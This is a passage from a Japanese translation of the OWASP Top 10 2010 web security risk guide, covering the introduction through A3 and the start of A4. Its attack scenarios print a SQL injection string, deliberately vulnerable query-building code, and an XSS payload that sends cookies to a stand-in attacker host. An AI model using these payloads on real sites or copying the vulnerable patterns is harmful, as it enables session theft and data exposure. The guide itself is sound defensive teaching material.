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はじめに 

 

 セキュアでないソフトウェアは、金融、健康、防衛、エネル
ギー、その他重要なインフラを弱体化させています。 私たち
のデジタル・インフラがますます複雑化し、相互接続される
に従い、アプリケーションセキュリティを達成する困難は指
数関数的に増加します。 私たちにはOWASP Top10に提示
されているような比較的簡単なセキュリティ上の問題を放置
することは許されません。 
 
 Top10プロジェクトの目標は、組織が直面している最も重
要なリスクのいくつかを説明することで、アプリケーションセ
キュリティに対する関心を高めることです。 Top10プロジェク
トは、MITRE、PCI DSS、DISA、FTC等多くの規格、書籍、
ツール、組織によって参照されています。 OWASP Top10の
本リリースは、アプリケーションセキュリティリスクに対して関
心を高めるこのプロジェクトの8年目となります。 OWASP 
Top10は2003年に最初にリリースされ、2004年と2007年にマ
イナーアップデートを行い、2010年に本書をリリースしました。 
 

 組織でアプリケーションセキュリティについて取りかかる際
に、Top10を活用するようにして下さい。開発者は他の組織
の誤りから学ぶことができます。 幹部は、ソフトウェアアプリ
ケーションが企業に対して生み出すリスクを如何に管理する
かを考え始めなければなりません。 
 しかし、Top10はアプリケーションセキュリティのプログラム
ではありません。自ら進めていき、OWASPは、安全なコー
ディングを可能にするツール、トレーニング、規格の強固な
土台を組織が確立することを勧めます。その基礎の頂点で
は、組織はセキュリティに開発、検証、及びメンテナンスプロ
セスを統合すべきです。経営側は、これら活動を通して得ら
れたデータを基にアプリケーションセキュリティに関するコス
トとリスクを管理する事が出来ます。 
 
 OWASP Top10があなたのアプリケーションセキュリティに
対する取り組みに役立つことを願っています。遠慮なく質問、
コメント、アイデアを 公の形式でしたらOWASP-
TopTen@lists.owasp.orgに、個人的にでしたら 
dave.wichers@owasp.org へ連絡してください。 
  
http://www.owasp.org/index.php/Top_10  
 
 

OWASPについて 

 The Open Web Application Security Project (OWASP) は、
信頼できるアプリケーションの開発・購入・運用の推進を目的
として設立されたオープンなコミュニティです。OWASPでは、
下記をフリーでオープンな形で提供・実施しています。 
 
 ・アプリケーションセキュリティに関するツールと規格  
 ・アプリケーションセキュリティ検査、セキュア開発、セ   
  キュリティコードレビューに関する完成した書籍 
 ・標準のセキュリティ制御とライブラリ 
 ・世界中の支部 
 ・先進的な研究 
 ・世界中での会議 
 ・メーリングリスト 
 ・その他 www.owasp.orgでの全ての活動 
 
 全てのOWASPのツール、文書、フォーラム、各支部は、アプ
リケーションセキュリティの改善に関心を持つあらゆる人に無
料で公開されています。最も効果的なアプリケーションセキュ
リティの向上とは、人、プロセス、技術という3点全ての改善で
あり、我々もこれら3点を課題としてアプリケーションセキュリ
ティにアプローチすることを提唱しています。 
 
 OWASPは新しい種類の組織です。商業的な圧力が無い中、
偏見無く現実的でコスト効果の高い情報の提供を行っていま
す。OWASP はいかなるIT企業の支配下にもありませんが、
商用のセキュリティ技術の活用を支持しています。他のオー
プンソースソフトウェアのコミュニティと同様に、OWASPもまた
オープンな方法で様々なドキュメントを共同で作成しています。 
 
 The OWASP Foundation はこのOWASPが長期的視点で成
功することを目指す非営利組織です。理事会、グローバル委
員会、支部長、プロジェクトリーダー、そしてプロジェクトメン
バーのほとんど全ての関係者が、ボランティアです。イノベー
ティブなセキュリティの研究に対して、助成とインフラ提供を
行っています。 

 

皆さんの参加をお待ちします。 
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Welcome 

 
OWASP Top 10 2010にようこそ！今回の大幅なアップデートは、これまで以上にリスクに明確に焦点を合わせた「最もクリティカ
ルなWebアプリケーションのセキュリティリスクのトップ１０」となりました。OWASP Top10はこれまでもリスクに関するTop1０でし

たが、以前のエディションに比してよりこの点を明確にしました。また、個別アプリケーションでのこれらリスクの評価方法につい
て新たに情報を追加しました。 
 
今回のエディションでは、Top10各項目について、一般的な発現可能性と影響に関わる因子について論じています。以前のエ

ディションでは、典型的なリスクの深刻度としてカテゴリ分けしてきた部分です。さらに各項目について、問題存否の確認、回避
方法、欠陥の例、さらなる情報へのリンクを提示しています。 
 
 OWASP Top 10の第一の目的は、開発者、デザイナー、アーキテクト、マネージャ、組織にWebアプリケーションのセキュリティ
上の主要な問題点の重要性について理解してもらうことです。Top 10 では、リスクの高い問題からWebアプリケーションを保護
する基本的な手法についてまず情報提供し、さらにその基本から展開していく際のガイダンスを提供しています。  

注記事項 
 

Top10で終わりではありません。 OWASP Developer’s Guideで議論
されているように、Webアプリケーション全体に影響する問題は何
百も存在します。このDeveloper’s Guideは、今日Webアプリケー
ションを開発している全ての人が必読すべき内容です。 また効率
的にWebアプリケーションの脆弱性を検出するための手引書として
は、OWASP Testing Guide と OWASP Code Review Guideがあります。
両手引書とも、前回リリースしたTop10から大幅にアップデートされ
ています。 
 
継続的な変更  このTop10は変更を続けています。アプリケーショ

ンのコード自体は全く変更がなくとも、以前には考えられなかった
脆弱性のためにコードが脆弱になる可能性もあります。 “What’s 
Next For Developers, Verifiers, and Organizations” を参照してくださ
い。 
 
肯定的に考えましょう 脆弱性を追いかけることを止めて、アプリ

ケーションの強力なセキュリティ制御を構築することにフォーカスす
る際には、OWASPは事業者(organizations)や検査者のための要検
査項目 のガイドとして、Application Security Verification Standard 
(ASVS) を作成しました。 
 
ツールは賢く使いましょう。 セキュリティの脆弱性は、非常に複雑

で大量のコードの中に埋もれています。優秀なツールを用いてエ
キスパートが行う脆弱性検出・除去が、実質上全ての場合におい
て最もコスト効率が高くなります。 
 
Push left. セキュアなソフトウェア開発サイクルにおいてのみセキュ
アなWebアプリケーションは作られます。セキュアな開発サイクル
の構築については、OWASP CLASPプロジェクトのメジャーバージョ
ンアップで最近リリースされた Open Software Assurance Maturity 
Model (SAMM)を参照して下さい。 

謝辞 
 
2003年の開始以来、OWASP Top10をリードし、アップデートしていた
だいた Aspect Security 、そしてその主な執筆者であるJeff Williams 
氏とDave Wichers氏に感謝します。 
 
 
 
 
 
 
2010年のアップデートにあたって、脆弱性の認知度に関するデータ
を提供して頂いた下記組織に感謝します。 
 

 Aspect Security  
 MITRE – CVE 
 Softtek 
 WhiteHat Security Inc. – Statistics 

 
また下記の方には、このTop10のアップデートにおいて、内容やレ
ビューを行って頂き絶大な貢献を頂きました。 

 Mike Boberski (Booz Allen Hamilton) 
 Juan Carlos Calderon (Softtek) 
 Michael Coates (Aspect Security) 
 Jeremiah Grossman (WhiteHat Security Inc.) 
 Jim Manico (for all the Top 10 podcasts) 
 Paul Petefish (Solutionary Inc.) 
 Eric Sheridan (Aspect Security) 
 Neil Smithline (OneStopAppSecurity.com) 
 Andrew van der Stock 
 Colin Watson (Watson Hall, Ltd.) 
 OWASP Denmark Chapter (Led by Ulf Munkedal) 
 OWASP Sweden Chapter (Led by John Wilander) 

I イントロダクション 
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2007年版からの変更点 

 
インターネットのアプリケーションへの脅威に対する展望は常に変化しています。この変化の主な要因としては、攻撃者、新技術のリリース、
日々複雑化するシステムの設置などが挙げられます。そのためにOWASP Top 10も定期的にアップデートしています。この2010年版では、下
記3点に大幅な変更を加えました。 
 
1) このTOP10は、10大リスクであって、10大脆弱性(weakness)ではない点を明記しました。詳細については、下記 “Application Security 

Risks” を参照してください。 
 

2) これまで関連する脆弱性の頻度だけに依存していたリスク算定のためのランキング方法を変更しました。この変更は、下表の通り、
Top10の順に影響しました。 
 

3) 下記２項目を新規項目に置き換えました。 
 
+ 追加: A6 – セキュリティの不適切な設定 この項目は安全でない設定管理として2004年のTop 10ではA10でした。しかし2007年では

ソフトウェアの問題ではないとして項目から脱落していました。しかし、組織的なセキュリティリスクと認知度という観点から、Top10
内に含めるメリットが明らかなため、項目として復活しました。 

+ 追加: A10 – 検証されていないリダイレクトとフォーワード 今回のTop10で初めて加えました。比較的知名度の低いこの問題は実際
には広がっており、重大な悪影響を及ぼすことが可能であることが証明されています。 

– 削除: A3 – 悪意あるファイルの実行 様々な環境でこの項目は依然重大な問題です。しかしこの問題の伝播の原因となっていた、
問題を抱えていた多くのPHPのアプリケーションが、現在ではデフォルトで安全な設定で出荷されており、この問題の認知度は低下
しました。 

– 削除: A6 – 情報漏洩と不適切なエラー処理  この問題は非常に広く見られます。しかしスタックトレースとエラーメッセージの情報
を開示してしまう影響は、一般的には非常に限定的です。 セキュリティの不適切な設定を今年追加することで、エラー処理の適切
な設定はアプリケーションとサーバのセキュアな設定の主要部分を占めることになります。 

OWASP Top 10 – 2007 (以前のTop10) OWASP Top 10 – 2010 (最新のTop10) 

A2 – インジェクションの欠陥 A1 – インジェクション攻撃（訳注：名称を「欠陥」から「攻撃」に変更） 

A1 – クロスサイトスクリプティング(XSS) A2 – クロスサイトスクリプティング(XSS) 

A7 – 不完全な認証とセッション管理 A3 – 不完全な認証とセッション管理 

A4 – 安全でないDirect Object Reference A4 –安全でないオブジェクトの直接参照 

A5 – クロスサイトリクエストフォージェリ (CSRF) A5 –クロスサイトリクエストフォージェリ (CSRF) 

<2004年版では10位– 安全でない設定管理> A6 – セキュリティの不適切な設定 (新規追加) 

A8 –安全でない暗号化による保存 A7 – 安全でない暗号化によるデータ保存 

A10 – URLアクセス制限の失敗 A8 – URLアクセス制限の不備 

A9 – 安全でない通信 A9 – 不十分なトランスポート層の保護 

<2007年版ではランクせず> A10 – 検証されていないリダイレクトとフォーワード（新規追加） 

A3 – 悪意あるファイルの実行 <2010年版ではランクせず> 

A6 – 情報漏洩と不適切なエラー処理 <2010年版ではランクせず> 

リリースノート RN 



 
アプリケーションのセキュリティリスクについて 
 攻撃者は潜在的に多くの経路を用いて、ビジネスや組織に悪影響を及ぼすことができます。それぞれの経路が注意を促すに
値するリスクか否かを表示します。 

 

 

 

 

 

 

 

 

 

 

 

 

 

 これら経路には、発見して悪用するのに非常に簡単なものもあれば、非常に困難なものもあります。同様に、その悪影響につ
いても、全く影響ない場合もあればビジネスを廃業に追い込むほどのものもあります。組織にとってのリスクを決定するために
は、各々の脅威エージェント（攻撃者）、攻撃のベクター、そしてセキュリティ上の弱点を加味して発生可能性を評価し、技術的
と事業上想定される影響を加えます。このように各因子が全体のリスクを明らかにするのです。 

弱点 

攻撃 

脅威 
エージェント 

影響 

 
私のリスクは？ 
 今回のOWASP Top10のアップデートは、組織における幅広いリストの中で最も重大なリス
クを判定することにフォーカスしました。このTop10では、これらリスクについて、 OWASP 
Risk Rating Methodologyを基にした下記のシンプルな評価スキームを用いてその可能性と
技術的な影響の一般的な情報を提供しています。 

 

 

 

 

 

 

 

 

 しかし実際には、個々の環境とビジネスの詳細は個別特有のものです。ある種のアプリ
ケーションで、問題に関連した攻撃を実際に行う攻撃者は存在しないかもしれませんし、技
術的に何の影響もないかもしれません。それゆえ、攻撃者、セキュリティ管理、ビジネスへ
の影響にフォーカスして、リスクはそれぞれ固有のものとして評価しなければなりません。
貴方の組織のリスクはあなた自身が評価すべきものです。 

 以前のバージョンのTop10はもっとも一般的な「脆弱性」にフォーカスしていましたが、 そ
れでもリスクに伴う点に考慮していました。Top10でのリスク名は、攻撃の種類、弱点の種
類、又は引き起こされる影響に由来しています。それぞれのリスク名は、最も一般的で、
もっとも認知されるものを選択しています。 

 
参考情報 
 

OWASP 

•  OWASP Risk Rating Methodology 

•  Article on Threat/Risk Modeling 

 
 

外部 

•  FAIR Information Risk Framework  

•  Microsoft Threat Modeling (STRIDE 
and DREAD) 
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• インジェクション攻撃（SQL, OS, LDAP等）は、信頼されていないデータをコマンド又はクエリの一部としてイ
ンタプリタに送る際に発現します。攻撃者の悪意あるデータは、インタプリタが意図しないコマンドを実行し
たり、権限のないデータにアクセスするようにだますことができます。 

A1 – インジェクショ
ン攻撃 

• XSSの脆弱性は、信頼されていないデータを受け取り、適切な検証およびエスケープをせずにWebブラウザ
に送信された際に発生します。 XSSにより攻撃者は、被害者のブラウザでスクリプトを実行し、ユーザセッ
ションのハイジャック、Webサイトの汚損、悪意あるサイトへとユーザをリダイレクトさせることができます。 

A2 – クロスサイト
スクリプティング
(XSS) 

• 認証とセッション管理に関連するアプリケーションの機能は、しばしば不適切な実装がなされています。実
装が不適切な場合には、攻撃者はパスワード、各種鍵、セッショントークンを悪用したり、他のユーザのID
推測につながる実装の不備の悪用などを行う事が出来ます。 

A3 – 不完全な認
証とセッション管理 

• オブジェクトの直接参照は、開発者がファイル、ディレクトリ、またはデータベースキーなど、内部実装のオ
ブジェクトへの参照を公開している場合に発生します。アクセス制御チェックやその他の保護がなければ、
攻撃者はこれら参照をそうさすることでアクセス承認されていないデータへとアクセスすることが可能となり
ます。 

A4 – 安全でないオ
ブジェクトの直接参
照 

• CSRF攻撃は、ログオンしている犠牲者のブラウザから偽造されたHTTPリクエストを脆弱性のあるWebアプ
リケーションに強制的に送信させます。そのリクエストには、被害者のセッションクッキーおよびその他自動
的に書き込まれる認証情報が含まれています。これにより攻撃者は、脆弱性のあるアプリケーションが犠
牲者ユーザからの正当なリクエストと認識させるリクエストを犠牲者のブラウザから強制的に生成すること
が出来ます。 

A5 – クロスサイト
リクエストフォー
ジェリ(CSRF) 

• 適切なセキュリティにはセキュアな設定が定義され、それをアプリケーション、フレームワーク、アプリケー
ションサーバ、Webサーバ、データベースサーバ、プラットフォームに反映させる必要があります。多くのア
プリケーションはセキュアな設定で出荷されていないため、これら全ての設定について同様に定義・実装・
維持されなければなりません。全てのソフトウェアとアプリケーションによって利用される全てのコードライブ
ライラリを最新に保たねばなりません。 

A6 – セキュリティ
の不適切な設定 

• 多くのWebアプリケーションは、適切な暗号やハッシュを実装して、機密データ（クレジットカード、SSN、認証
情報）を適切に保護するようにはなっていません。攻撃者は機密データの保存方式に関わる脆弱性を利用
して、データを搾取したり改ざんすることで、ＩＤ窃盗やクレジットカード詐欺等の犯罪を行います。 

A7 – 安全でない
暗号化によるデー
タ保存 

• 多くのWebアプリケーションは、保護されたリンクやボタンをレンダリングする前に、URLのアクセス権を確認
しています。しかし、これらのページがアクセスされる度に、アプリケーションは同様のアクセス制御チェック
を実行する必要があり、この実行がなされないと、攻撃者はURLを偽造することで、本来は直接アクセスさ
れることのない隠されたページへとアクセスすることが可能となります。 

A8 - URLアクセス
制御の不備 

• アプリケーションは弱い暗号化アルゴリズムを用いたり、期限切れや不正な証明書を用いている事があり
ます。このようなケースでは適切な認証が確保されず、暗号化、機密性のあるネットワークトラフィックの秘
匿性及び保全性・完全性も保証されません。 

A9 - 不十分なトラ
ンスポート層の保
護 

• Webアプリケーションは頻繁にユーザを他のページやウェブサイトにリダイレクト・フォーワードしており、そ
の目的のページの決定には信頼出来ないデータを用いています。適切な検証がなされない場合、攻撃者
は被害者をフィッシングやマルウェアのサイトへとリダイレクトさせたり、あるいはフォワード（転送）させる事
で認証されていないページへとアクセスすることが可能となります。 

A10 – 検証されて
いないリダイレクト
とフォーワード 

OWASP Top 10 アプリケーションのセ
キュリティリスク – 2010  T10 



__________ 
悪用難易度 

容易 
認知度 

高い 
発見難易度 

平均的 
影響 

深刻 
__________ 

組織内外のユーザ・
管理者を含む信頼さ
れていないデータを
送信できる全ての人 

攻撃者は単純なテキ
ストベースの攻撃を
行い、それによりター
ゲットのインタープリタ
の構文を悪用します。
アプリケーション内部
からのデータ取得、参
照を含めて、ほとんど
全てのデータソース
はインジェクション攻
撃の要因となり得ま
す。 

インジェクションの欠陥は、信頼していない
データをアプリケーションがインタプリタに送る
際に起こります。 インジェクションの欠陥は、し
ばしばSQLクエリ、LDAPクエリ、XPathクエリ、
OSコマンド、プログラム引数などで発見されま
す。インジェクションの欠陥は、コードを検査す
れば検出が容易です。 スキャンツールとファ
ジングツールは、攻撃者が欠陥を見つけるこ
とを手助けできます。 

インジェクションによる
データ損失または破
壊、アカウンタビリティ
の欠如、アクセス拒否
等の結果をもたらしま
す。インジェクションに
より、時には完全なホ
スト乗っ取りを引き起
こす可能性もあります。 

インタプリタを稼働さ
せているプラット
フォームと影響を受け
るデータの事業価値
を考慮下さい。全ての
データは窃盗・変更・
削除される可能性が
あります。それにより
評判に傷が付くことに
なりませんか？ 

 
攻撃シナリオの例 

 アプリケーションが、下記の脆弱なSQLコールに信頼されていない
データを使用している場合。  

String query = "SELECT * FROM accounts WHERE 
  custID='" + request.getParameter("id") +"'"; 

攻撃者がブラウザでの'id'パラメータを変更して、'or'1'= '1を送信し
ます。 

 これによりクエリの意味が変化し、意図した顧客だけでなく、アカ
ウントデータベースの全てのレコードを返すことになります。  

  http://example.com/app/accountView?id=' or '1'='1  

 最悪の場合、この弱点によってデータベースの特別なストアドプロ
シージャを呼び出すことになり、データベースだけでなくデータベー
スをホスティングしているサーバ自体も完全に乗っ取ることが可能
となる場合があります。 

インジェクション攻撃の脆弱性存否確認方法 
 インジェクション攻撃に対する脆弱性を検出する最良の方法は、
使用する全てのインタープリタがコマンドまたはクエリから信頼され
ていないデータを明確に区別出来ているかどうかを確認することで
す。 これは、SQLのコールで、全てのプリペアードステートメントとス

トアドプロシージャにおいてバインド変数を用い、動的なクエリを避
けることを意味します。 
 

 コードをチェックすることが、アプリケーションが安全にインタープ
リタを使用するかどうかを確認するための迅速かつ正確な方法で
す。コード分析ツールは、セキュリティアナリストがインタープリタの
使用を見つけアプリケーションのデータフローをトレースする補助と
なります。ペネトレーションテスト担当者は、この脆弱性を確認でき
るエクスプロイトコードを作成することにより、問題を検証できます。 
 

 対象アプリケーションに対して動的自動スキャンを実施することに
より、悪意あるインジェクションに対する脆弱性の存否について知る
ことが出来るかも知れません。スキャナは、インタープリタに達しな
い場合があり、攻撃が成功したか否かを知る際に困難な場合があ
ります。不十分なエラーハンドリングがあれば、インジェクション攻
撃に対する欠陥を見つけるのは比較的容易です。 

 
リファレンス 
OWASP 

• OWASP SQL Injection Prevention Cheat Sheet 

• OWASP Injection Flaws Article 

• ESAPI Encoder API 

• ESAPI Input Validation API 

• ASVS: Output Encoding/Escaping Requirements (V6) 

• OWASP Testing Guide: Chapter on SQL Injection Testing 

• OWASP Code Review Guide: Chapter on SQL Injection 

• OWASP Code Review Guide: Command Injection 

外部 

• CWE Entry 77 on Command Injection 

• CWE Entry 89 on SQL Injection 

 

 
インジェクション攻撃防止方法 
インジェクション攻撃を防止するには、コマンドとクエリから信頼出
来ないデータを常に区別することが必要です。 

1. 推奨されるオプションは、インタープリタを全く用いない安全な
ＡＰＩを利用するか、パラメータ化されたインターフェースを用い
る事です。ただ、ストアードプロシージャなどの、パラメータ化し
ていてもインジェクション攻撃が可能なＡＰＩには注意して下さい。 

2. パラメータ化されたAPIが利用出来ない場合、インタプリタにて
定められたエスケープ構文を用いて、特殊文字のエスケープ
処理を慎重に実施すべきです。 OWASP’s ESAPI ではエスケー
プルーチンがあります。 

3. 適切に正規化されたポジティブリスト（「ホワイトリスト」ともい
う）による入力値検証が推奨されます。しかしながら、入力され
る文字には特殊文字が含まれることも多く、完全な防御策とは
言えません。しかしこれも、インプットされる文字には特別の文
字が必要な場合も多く、完全な防御とは言えません。OWASP
のESAPIでは、ホワイトリストの認証ルーチンについて拡張可能
なライブラリを持っています。 

    セキュリティ上の 

弱点 

攻撃 
ベクター 

技術的 
影響 

脅威エージェント 

事業上の 
影響 

A1 インジェクション攻撃 

http://www.owasp.org/index.php/Command_Injection
http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
http://www.owasp.org/index.php/Command_Injection
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Validator.html
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Testing_for_SQL_Injection_(OWASP-DV-005)
http://www.owasp.org/index.php/Reviewing_Code_for_SQL_Injection
http://www.owasp.org/index.php/Reviewing_Code_for_OS_Injection
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/77.html
http://cwe.mitre.org/data/definitions/89.html
http://www.owasp.org/index.php/ESAPI


__________ 
悪用難易度 

平均的 
認知度 

非常に高い 
発見難易度 

容易 
影響 

中程度 
__________ 

内外のユーザや管理
者を含む誰でもが、
信頼出来ないデータ
をシステムに送ること
が出来る事を想定し
て下さい。 

攻撃者は、ブラウザ
のインタプリタをエク
スプロイトするテキス
ト・ベースの攻撃スク
リプトを送ります。
データベースからの
データ取得などデータ
の内部参照を含め、
ほとんど全てのデータ
ソースは攻撃の要因
となり得ます。 

XSSは、最も有名なウェブアプリケーションのセ
キュリティの欠陥です。 アプリケーションが、

ユーザ入力データを適切に検証していない、
もしくは入力データの中身をエスケープ処理を
施さずにブラウザに送った場合に、XSSの問題
が起こります。 XSSの脆弱性には1)ストアド、2)
リフレクト、および3)DOMベースのXSSという3

種類の既知のタイプがあります。ほとんどの
XSSの脆弱性は、テストまたはコード分析に
よってかなり容易に検出できます。 

攻撃者は、ユーザセッ
ションのハイジャック、
Webサイトの改ざん、悪

意あるコンテンツの挿入、
ユーザのリダイレクト、マ
ルウェアを用いたユーザ

のブラウザのハイジャッ
クなどを目的として、犠
牲者のブラウザ上でスク

リプトを実行できます。 

処理される全ての
データと影響を受ける
システムの事業上の
価値を考慮して下さ
い 

また脆弱性の存在が
衆目にさらされた場合
の影響についても考
慮して下さい。 

 
攻撃シナリオの例 
アプリケーションが、検証またはエスケープせずに下記のHTMLコー
ドに信頼されていないデータを使用している場合。  (String) page 
+= "<input name='creditcard' type='TEXT‘ 
  value='" + request.getParameter("CC") + "'>"; 

攻撃者は、'CC'パラメータを変更して、ブラウザで下記を送信します。  
'><script>document.location= 
  'http://www.attacker.com/cgi-bin/cookie.cgi? 
  foo='+document.cookie</script>’ 

上記により、犠牲者のセッションIDが攻撃者のWebサイトに送信さ
れ、犠牲者のセッションがハイジャックされてしまいます。  
 特記すべき点として、攻撃者は自動化されたCSRFの防御を無効
にするためにもXSSを使用することができます。 CSRFの情報はA5を
参照してください。  

 
XSS存否確認方法 
 

 ブラウザに返されるユーザの全入力が、（入力のバリデーションに
より）安全であると確認し、ユーザ入力がページに出力される前に
適切にエスケープされていることを確認する必要があります。 

適切な出力のエンコードにより、そのような入力がブラウザで実行
可能なコンテンツではなくテキストとして扱われることが、保証され
ます。 
 
 静的・動的ツール両方で、XSSのいくつかの問題を自動的に検出
することはできます。 しかし、個々のアプリケーションは出力ページ
を違ったふうに作成し、JavaScript、ActiveX、Flash、Silverlightなどの

様々なブラウザ側インタプリタを使っており、自動検出を困難にしま
す。 従って、全体をカバーするには、エンジニアによるコードレ

ビューとペネトレーションテストに自動検出の手法を組み合わせる
必要があります。AJAXなどのWeb2.0テクノロジーにより、XSSの自動
検出はさらに困難となります。 

 
リファレンス 
OWASP 

• OWASP XSS Prevention Cheat Sheet 

• OWASP Cross-Site Scripting Article 

• ESAPI Project Home Page  

• ESAPI Encoder API 

• ASVS: Output Encoding/Escaping Requirements (V6) 

• ASVS: Input Validation Requirements (V5) 

• Testing Guide: 1st 3 Chapters on Data Validation Testing 

• OWASP Code Review Guide: Chapter on XSS Review 

外部 

CWE Entry 79 on Cross-Site Scripting 

• RSnake’s XSS Attack Cheat Sheet 

 

 
XSS防止方法 
XSSを防止するには、動的なブラウザのコンテンツから信頼
出来ないデータを常に区別することが必要です。 

1. 推奨オプションは、HTMLコンテキスト（ボディ、属性、JavaScript、
CSS、またはURL）上の信頼出来ない全データの適切なエス
ケープです。UIのフレームワークでエスケープ処理が行われな
い場合、開発者は、開発するアプリケーションにこのエスケー
プ処理を含める必要があります。エスケープ処理の技術につ
いては、OWASP XSS Preventing Cheat Sheetを参照下さい。 

2. ポジティブリスト（「ホワイトリスト」ともいう）による入力値検証
はXSSに対する防御策として作用します。しかしながら、入力さ
れる文字には特殊文字が含まれることも多く、完全な防御策と
は言えません。入力値検証ではいかなるエンコードされた入力
もデコードされなければなりません。さらにデータの文字長や
使用されている文字、フォーマットについても当該入力を受け
付ける前に検証されるべきです 

クロスサイトスクリプティング(XSS) A2 
  セキュリティ上の 

弱点 

事業上の 
影響 

脅威エージェント 

攻撃 
ベクター 

技術的 
影響 

http://www.owasp.org/index.php/Command_Injection
http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
http://www.owasp.org/index.php/ESAPI
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Encoder.html
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Testing_for_Data_Validation
http://www.owasp.org/index.php/Reviewing_Code_for_Cross-site_scripting
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/79.html
http://cwe.mitre.org/data/definitions/79.html
http://cwe.mitre.org/data/definitions/79.html
http://ha.ckers.org/xss.html
http://ha.ckers.org/xss.html
http://ha.ckers.org/xss.html


__________ 
悪用難易度 

平均的 
認知度 

高い 
発見難易度 

平均的 
影響 

深刻 
__________ 

アカウントを持つユー
ザだけでなく
anonymousの外部攻
撃者を考慮してくださ
い。彼らは他人のアカ
ウントを盗むことを試
みることができます。 
また、自らの行動を偽
装する内部関係者に
ついても考慮下さい。 

攻撃者は、ユーザに
なりすますために、認
証またはセッションの
管理機能（例えば、暴
露されたアカウント、
パスワード、セッショ
ンID）についてのリー
クまたは欠点を使用
します。 

開発者は、カスタムで認証とセッション管理の
スキームを構築しますが、これらを適切に構
築することは非常に困難です。結果として、こ
れらカスタムスキームは、ログアウト、パス
ワード管理、タイムアウト、ユーザの記憶
（remember me）、秘密の質問、アカウントの

アップデートなどで、しばしば欠陥を持ってい
ます。これら欠陥の検出は、それぞれ独自の
実装方式であるため、検出が難しくなります。 

これら欠陥は、時に
は全アカウントを攻撃
にさらす事になります。
一旦成功すると、攻
撃者は犠牲者ができ
ることは全て出来る事
になります。特権を
持ったアカウントは頻
繁にターゲットとされ
ます。 

影響を受けるデータ
またはアプリケーショ
ン機能の事業上の価
値を考慮してください。 

また脆弱性の存在が
衆目にさらされた場合
の影響についても考
慮して下さい。 

 
攻撃シナリオの例 
シナリオ#1：航空会社の予約アプリケーションがURLリライトを機能
として持っており、そのURLにセッションIDを加えている場合。  

  http://example.com/sale/saleitems;jsessionid= 
  2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii 

 サイトで認証されたユーザーが、友人にセール情報を知らせたい
とします。上記のリンクをそのまま電子メールで送って、自らのセッ
ションIDも渡してしまったことを知りません。その友人が上記リンクを

そのまま使用すると、友人は、知らせた人間のセッションとクレジッ
トカードを使用するでしょう。 
シナリオ2：アプリケーションのタイムアウトが正しく設定されていな

いとします。ユーザーがサイトにアクセスするために公共のコン
ピュータを使用しています。「ログアウト」を選択する代わりに、ユー
ザが単にブラウザのタブを閉じて去っていったとします。攻撃者が、
１時間後に同じブラウザを使用するとブラウザの認証はまだ残され
ています。 
シナリオ3：組織内外の攻撃者がシステムのパスワードデータベー

スへのアクセスができたとします。ユーザのパスワードは暗号化さ
れておらず、全てのユーザのパスワードが攻撃者に漏洩します。 

 
脆弱性存否確認方法 
まず保護しなければならない資産は、証明書関連とセッションIDで
す。 

1. 証明書関連の情報は保存する際にハッシュ化又は暗号化され
ていますか？A7を参照ください。 

2. 証明書関連は推測が出来たり、貧弱なアカウント管理機能を
通して上書き出来たりしませんか？（例：アカウント作成、パス
ワード変更、パスワードリカバリ、弱いセッションＩＤ等） 

3. セッションIDがURLに明示されていませんか？(例：URL リライト) 

4. セッションIDはセッション固定攻撃に脆弱ではないですか？ 

5. セッションIDはタイムアウトし、ユーザによるログアウトが可能
ですか？ 

6. セッションIDはログイン成功後にローテートしますか？ 

7. パスワード、セッションID、その他証明書は、TLS通信で
のみ送信されていますか？A9を参照下さい。 

より詳細な情報は、ASVS の要件 V2 と V3を参照下さい。 

 
リファレンス 
OWASP 

この項の問題回避のための更に詳細な要件については下記を参
照下さい。 ASVS requirements areas for Authentication (V2) 
and Session Management (V3). 

• OWASP Authentication Cheat Sheet 

• ESAPI Authenticator API 

• ESAPI User API 

• OWASP Development Guide: Chapter on Authentication 

• OWASP Testing Guide: Chapter on Authentication 

 

外部 

• CWE Entry 287 on Improper Authentication 

 
防止方法 
最善の方法は、開発者が下記を利用できるようにすることです。 

強力な認証とセッションの管理コントロールの単一のセット。そのよ
うなコントロールでは、下記が含まれます。 

a) OWASPのASVSエリアV2（認証）とV3（セッションの管理）に
おいて定義されたすべての認証とセッションの管理要件を
満たすこと。 

b) 開発者のためのシンプルなインタフェース。 ESAPI認証と
ユーザAPIを例として、エミュレート、利用、構築を考慮下
さい。 

 

A2を参照して、セッションIDの奪取が可能となるXSSの欠陥を防
ぐことにも力を注いで下さい。 

 

不完全な認証とセッション管理 A3 
  セキュリティ上の 

弱点 

事業上の 
影響 

脅威エージェント 

攻撃 
ベクター 

技術的 
影響 

http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Top_10_2007-Insecure_Direct_Object_Reference
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/ASVS
http://www.owasp.org/index.php/Authentication_Cheat_Sheet
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/Authenticator.html
http://owasp-esapi-java.googlecode.com/svn/trunk_doc/latest/org/owasp/esapi/User.html
http://www.owasp.org/index.php/Guide_to_Authentication
http://www.owasp.org/index.php/Testing_for_authentication
http://www.owasp.org/index.php/Command_Injection
http://cwe.mitre.org/data/definitions/287.html


__________ 
悪用難易度 

容易 
認知度 

高い 
発見難易度 

容易 
影響 

中程度 
__________ 

あなたのシステムの
各ユーザータイプを
考えて下さい。いかな
るユーザーもシステ
ムデータに対して適
切に部分的なアクセ
ス権を持っています
か？ 

攻撃者(認証されたシ
ステム利用者)は、シ

ステムオブジェクトを
直接参照するパラ
メータの値を、ユーザ
（攻撃者）がアクセス
権限を与えられてい
ないオブジェクトを示
す値に変更します。 

